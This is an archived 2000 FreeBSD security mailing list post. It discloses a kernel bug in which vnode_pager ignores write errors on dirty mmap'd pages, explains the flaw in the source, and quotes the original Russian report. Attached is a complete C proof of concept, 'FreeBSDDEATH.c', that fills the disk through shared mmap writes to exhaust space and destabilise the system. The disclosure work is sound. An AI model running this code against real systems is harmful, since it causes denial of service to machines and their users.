Skip site navigation (1)Skip section navigation (2)
Date:      Fri, 2 Jun 2000 14:09:06 +0100
From:      User Datagram Protocol <udp@closed-networks.com>
To:        freebsd-security@freebsd.org
Subject:   FreeBSDDEATH.c.txt (mmap dirty page no check bug)
Message-ID:  <20000602140906.I70438@closed-networks.com>

next in thread | raw e-mail | index | archive | help

--nOM8ykUjac0mNN89
Content-Type: text/plain; charset=us-ascii

Yo,

This seems to be doing the rounds with the script kiddies fairly quickly.
I've attached it.
(originally found at: http://ls.si.ru/tmp/FreeBSDDEATH.c.txt - dumped
by some skr1pt k1dd1es on irc)

vnode_pager_putpages() only does this check against the return value of
VOP_PUTPAGES():
        rtval = VOP_PUTPAGES(vp, m, bytes, sync, rtvals, 0);
        if (rtval == EOPNOTSUPP) {

And vnode_pager_generic_putpages() appears to force the return value for
all page writes that it does to VM_PAGER_OK even when an error occurs in
VOP_WRITE().

The above is based on a quick inspection of the 4.0-STABLE fork source tree.
So, this guy has a point.

Apologies if this issue was posted to any other lists, but it came my way,
I am not currently on bugtraq due to some mail issues, and it looks like
something we should be aware of (albeit really a quality of implementation
issue that gets hit during times of high load - like something else I have
in the pipeline. Heh.)

Regards
-- 
Bruce M. Simpson aka 'udp'       Security Analyst & UNIX Development Engineer
                                            WWW: www.closed-networks.com/~udp 
Dundee                                             www.packetfactory.net/~udp
United Kingdom                            email:      udp@closed-networks.com

--nOM8ykUjac0mNN89
Content-Type: text/plain
Content-Disposition: attachment; filename="FreeBSDDEATH.c.txt"
Content-Transfer-Encoding: 8bit

/*
From: Oleg Derevenetz <Oleg.Derevenetz@p4.f3.n5025.z2.fidonet.org>
Date: Wed, 31 May 2000 19:04:12 +0400
Subject: mmap
Message-ID: <959790285@p4.f3.n5025.z2.ftn>

Draft English translation: in vnode_pager.c there is no any check for
errors on write of ditry mmap'ed pages to disk. If there is no enough
space or any other I/O error occur, the results will be very bad.

It will be good to kill the calling process, but it's hard to find out
the owner of offending page.

Дело в том, что в vnode_pager.c не предусмотрена никакая обработка
ошибок при сбросе грязных mmap'ленных страниц файла на диск, если на
диске недостаточно места для такого сброса (да и вообще при любой ошибке
I/O), и это приводит к очень плохим результатам. Где-то полгода назад я
переписывался с людьми из freebsd.hackers, они меня по большому счету
просто послали. VM сделана достаточно криво, поэтому мне придумать
реакцию на такую проблему пока не удалось. Желательно было бы прибить
процесс, но извлечь информацию о том, какому процессу принадлежит
страница, при сбросе которой произошла ошибка, весьма затруднительно.
Вот сижу сейчас, ломаю голову, что делать...

Кстати, а здесь никто не занимается ядерным VM ?
*/

#include <sys/types.h>
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>

#define COUNT   1024*1024
#define SIZE    10*1024*1024

int main () {
    int i,j,fd;
    char *fptr, fname [16];
    
    for (i=0;i<COUNT;i++) {
        sprintf (fname, "%d", i);
        printf ("DEBUG: fname: %s\n", fname); fflush (stdout);
        
        fd=open (fname, O_RDWR|O_CREAT, 644);
        lseek (fd, SIZE, SEEK_SET);
        write (fd, "-", 1);
        printf ("DEBUG: write\n"); fflush (stdout);
        
        if ((fptr=mmap (NULL, SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, fd,      
                 0))==MAP_FAILED) {
            printf ("mmap() failed !\n"); fflush (stdout);
            return 0;
        }
        printf ("DEBUG: mmap, errno=%d\n", errno); fflush (stdout);
        
        for (j=0;j<SIZE;j++)
            fptr[j]='o';
        printf ("DEBUG: fill\n"); fflush (stdout);
    }
    
    return 0;
}

--nOM8ykUjac0mNN89--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20000602140906.I70438>